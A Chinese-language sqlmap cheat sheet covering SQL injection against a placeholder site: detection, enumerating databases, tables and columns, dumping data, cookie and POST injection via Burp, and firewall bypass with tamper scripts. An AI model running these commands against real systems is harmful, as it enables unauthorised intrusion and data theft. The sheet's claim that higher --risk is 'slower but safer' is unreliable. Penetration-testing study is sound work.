一般的數據庫注入步驟:
1. sqlmap -u "http://www.xx.com?id=x" 【查詢是否存在注入點 2. --dbs 【檢測站點包含哪些數據庫 3. --current-db 【獲取當前的數據庫名 4. --tables -D "db_name" 【獲取指定數據庫中的表名 -D后接指定的數據庫名稱 5. --columns -T "table_name" -D "db_name" 【獲取數據庫表中的字段 6. --dump -C "columns_name" -T "table_name" -D "db_name" 【獲取字段的數據內容
Cookie注入:
sqlmap -u "http://www.xx.com?id=x" --cookie "cookie" --level 2 【cookie注入 后接cookie值
POST注入:
(1)目標地址http:// www.xxx.com /login.asp (2)打開brup代理。 (3)點擊表單提交 (4)burp獲取攔截信息(post) (5)右鍵保存文件(.txt)到指定目錄下 (6)運行sqlmap並執行如下命令: 用例:sqlmap -r okay.txt -p username -r表示加載文件(及步驟(5)保存的路徑),-p指定參數(即攔截的post請求中表單提交的用戶名或密碼等name參數) (7)自動獲取表單:--forms自動獲取表單 例如:sqlmap -u www.xx.com/login.asp --forms (8)指定參數搜索:--data 例如:sqlmap -u www.xx.com/login.asp --data "username=1"
SQLMAP常用的命令:
1. --purge 【重新掃描(--purge 刪除原先對該目標掃描的記錄) 2. --tables 【獲取表名 3. --dbs 【檢測站點包含哪些數據庫 4. --current-db 【獲取當前的數據庫名 5. --current-user 【檢測當前用戶 6. --is-dba 【判斷站點的當前用戶是否為數據庫管理員 7. --batch 【默認確認,不詢問你是否輸入 8. --search 【后面跟參數 -D -T -C 搜索列(C),表(T)和或數據庫名稱(D) 9. --threads 10 【線程,sqlmap線程最高設置為10 10. --level 3 【sqlmap默認測試所有的GET和POST參數,當--level的值大於等於2的時候也會測試HTTP Cookie頭 的值,當大於等於3的時候也會測試User-Agent和HTTP Referer頭的值。最高為5 11. --risk 3 【執行測試的風險(0-3,默認為1)risk越高,越慢但是越安全 12. -v 【詳細的等級(0-6) 0:只顯示Python的回溯,錯誤和關鍵消息。 1:顯示信息和警告消息。 2:顯示調試消息。 3:有效載荷注入。 4:顯示HTTP請求。 5:顯示HTTP響應頭。 6:顯示HTTP響應頁面的內容 13. --privileges 【查看權限 14. --tamper xx.py,cc.py 【防火牆繞過,后接tamper庫中的py文件 15. --method "POST" --data "page=1&id=2" 【POST方式提交數據 16. --threads number 【采用多線程 后接線程數 17. --referer "" 【使用referer欺騙 18. --user-agent "" 【自定義user-agent 19. --proxy “目標地址″ 【使用代理注入
Kali系統集成的SQLMAP工具目錄:
sqlmap常用路徑:
1. 添加表字段的目錄在sqlmap/txt/common-tables.txt
2. 存放掃描記錄的目錄在sqlmap/output